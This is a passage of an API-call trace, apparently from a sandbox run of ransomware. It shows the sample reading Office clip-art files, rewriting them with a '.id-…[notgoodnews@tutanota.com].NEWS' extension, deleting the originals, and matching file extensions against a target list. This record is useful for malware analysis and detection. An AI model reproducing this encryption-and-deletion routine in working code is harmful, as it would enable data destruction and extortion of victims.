"c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0160.724] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7340) returned 1 [0160.724] CloseHandle (hObject=0x4b4) returned 1 [0160.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0160.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0160.728] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.728] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0160.729] GetLastError () returned 0x0 [0160.729] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1cac, lpOverlapped=0x0) returned 1 [0160.753] WriteFile (in: hFile=0x4b8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0160.754] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.754] WriteFile (in: hFile=0x4b8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.755] SetEndOfFile (hFile=0x4b8) returned 1 [0160.755] CloseHandle (hObject=0x4b8) returned 1 [0160.755] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.755] SetEndOfFile (hFile=0x4b4) returned 1 [0160.758] CloseHandle (hObject=0x4b4) returned 1 [0160.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0160.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.759] lstrlenW (lpString=".doc") returned 4 [0160.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.759] lstrlenW (lpString=".docx") returned 5 [0160.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.759] lstrlenW (lpString=".pdf") returned 4 [0160.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.759] lstrlenW (lpString=".xls") returned 4 [0160.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.759] lstrlenW (lpString=".xlsx") returned 5 [0160.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.759] lstrlenW (lpString=".ppt") returned 4 [0160.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.760] lstrlenW (lpString=".zip") returned 4 [0160.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.760] lstrlenW (lpString=".rar") returned 4 [0160.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString=".bz2") returned 4 [0160.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString=".7z") returned 3 [0160.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.760] lstrlenW (lpString=".dbf") returned 4 [0160.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.760] lstrlenW (lpString=".1cd") returned 4 [0160.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.760] lstrlenW (lpString=".jpg") returned 4 [0160.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.760] lstrlenW (lpString=".doc") returned 4 [0160.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString=".docx") returned 5 [0160.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.760] lstrlenW (lpString=".pdf") returned 4 [0160.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.760] lstrlenW (lpString=".xls") returned 4 [0160.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.760] lstrlenW (lpString=".xlsx") returned 5 [0160.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.761] lstrlenW (lpString=".ppt") returned 4 [0160.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.761] lstrlenW (lpString=".zip") returned 4 [0160.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.761] lstrlenW (lpString=".rar") returned 4 [0160.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.761] lstrlenW (lpString=".bz2") returned 4 [0160.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.761] lstrlenW (lpString=".7z") returned 3 [0160.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.761] lstrlenW (lpString=".dbf") returned 4 [0160.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.761] lstrlenW (lpString=".1cd") returned 4 [0160.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0160.761] lstrlenW (lpString=".jpg") returned 4 [0160.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.761] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.761] lstrlenW (lpString="HH02282_.WMF") returned 12 [0160.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0160.762] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7932) returned 1 [0160.762] CloseHandle (hObject=0x4b4) returned 1 [0160.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0160.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0160.763] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.763] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0160.764] GetLastError () returned 0x0 [0160.764] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1efc, lpOverlapped=0x0) returned 1 [0160.766] WriteFile (in: hFile=0x4b8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1f00, lpOverlapped=0x0) returned 1 [0160.767] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.767] WriteFile (in: hFile=0x4b8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.767] SetEndOfFile (hFile=0x4b8) returned 1 [0160.767] CloseHandle (hObject=0x4b8) returned 1 [0160.767] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.767] SetEndOfFile (hFile=0x4b4) returned 1 [0161.137] CloseHandle (hObject=0x4b4) returned 1 [0161.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0161.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.138] lstrlenW (lpString=".doc") returned 4 [0161.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.138] lstrlenW (lpString=".docx") returned 5 [0161.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.138] lstrlenW (lpString=".pdf") returned 4 [0161.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.138] lstrlenW (lpString=".xls") returned 4 [0161.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.138] lstrlenW (lpString=".xlsx") returned 5 [0161.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.138] lstrlenW (lpString=".ppt") returned 4 [0161.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.138] lstrlenW (lpString=".zip") returned 4 [0161.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.139] lstrlenW (lpString=".rar") returned 4 [0161.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString=".bz2") returned 4 [0161.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString=".7z") returned 3 [0161.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.139] lstrlenW (lpString=".dbf") returned 4 [0161.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.139] lstrlenW (lpString=".1cd") returned 4 [0161.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.139] lstrlenW (lpString=".jpg") returned 4 [0161.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.139] lstrlenW (lpString=".doc") returned 4 [0161.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString=".docx") returned 5 [0161.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.139] lstrlenW (lpString=".pdf") returned 4 [0161.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString=".xls") returned 4 [0161.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.139] lstrlenW (lpString=".xlsx") returned 5 [0161.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.139] lstrlenW (lpString=".ppt") returned 4 [0161.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.139] lstrlenW (lpString=".zip") returned 4 [0161.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.139] lstrlenW (lpString=".rar") returned 4 [0161.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.140] lstrlenW (lpString=".bz2") returned 4 [0161.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.140] lstrlenW (lpString=".7z") returned 3 [0161.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.140] lstrlenW (lpString=".dbf") returned 4 [0161.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.140] lstrlenW (lpString=".1cd") returned 4 [0161.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0161.140] lstrlenW (lpString=".jpg") returned 4 [0161.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.140] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.140] lstrlenW (lpString="HM00005_.WMF") returned 12 [0161.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.141] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=23300) returned 1 [0161.141] CloseHandle (hObject=0x4b4) returned 1 [0161.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0161.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.141] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.141] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.142] GetLastError () returned 0x0 [0161.142] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5b04, lpOverlapped=0x0) returned 1 [0161.145] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5b10, lpOverlapped=0x0) returned 1 [0161.146] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.146] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.146] SetEndOfFile (hFile=0x46c) returned 1 [0161.146] CloseHandle (hObject=0x46c) returned 1 [0161.146] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.146] SetEndOfFile (hFile=0x4b4) returned 1 [0161.149] CloseHandle (hObject=0x4b4) returned 1 [0161.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.151] lstrlenW (lpString=".doc") returned 4 [0161.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".docx") returned 5 [0161.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.151] lstrlenW (lpString=".pdf") returned 4 [0161.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".xls") returned 4 [0161.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.151] lstrlenW (lpString=".xlsx") returned 5 [0161.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.151] lstrlenW (lpString=".ppt") returned 4 [0161.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.151] lstrlenW (lpString=".zip") returned 4 [0161.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.151] lstrlenW (lpString=".rar") returned 4 [0161.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".bz2") returned 4 [0161.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString=".7z") returned 3 [0161.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.151] lstrlenW (lpString=".dbf") returned 4 [0161.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.151] lstrlenW (lpString=".1cd") returned 4 [0161.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.152] lstrlenW (lpString=".jpg") returned 4 [0161.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.152] lstrlenW (lpString=".doc") returned 4 [0161.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString=".docx") returned 5 [0161.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.152] lstrlenW (lpString=".pdf") returned 4 [0161.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString=".xls") returned 4 [0161.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.152] lstrlenW (lpString=".xlsx") returned 5 [0161.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.152] lstrlenW (lpString=".ppt") returned 4 [0161.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.152] lstrlenW (lpString=".zip") returned 4 [0161.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.152] lstrlenW (lpString=".rar") returned 4 [0161.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString=".bz2") returned 4 [0161.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.152] lstrlenW (lpString=".7z") returned 3 [0161.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.152] lstrlenW (lpString=".dbf") returned 4 [0161.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.153] lstrlenW (lpString=".1cd") returned 4 [0161.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0161.153] lstrlenW (lpString=".jpg") returned 4 [0161.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.153] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.153] lstrlenW (lpString="HM00114_.WMF") returned 12 [0161.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.154] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: 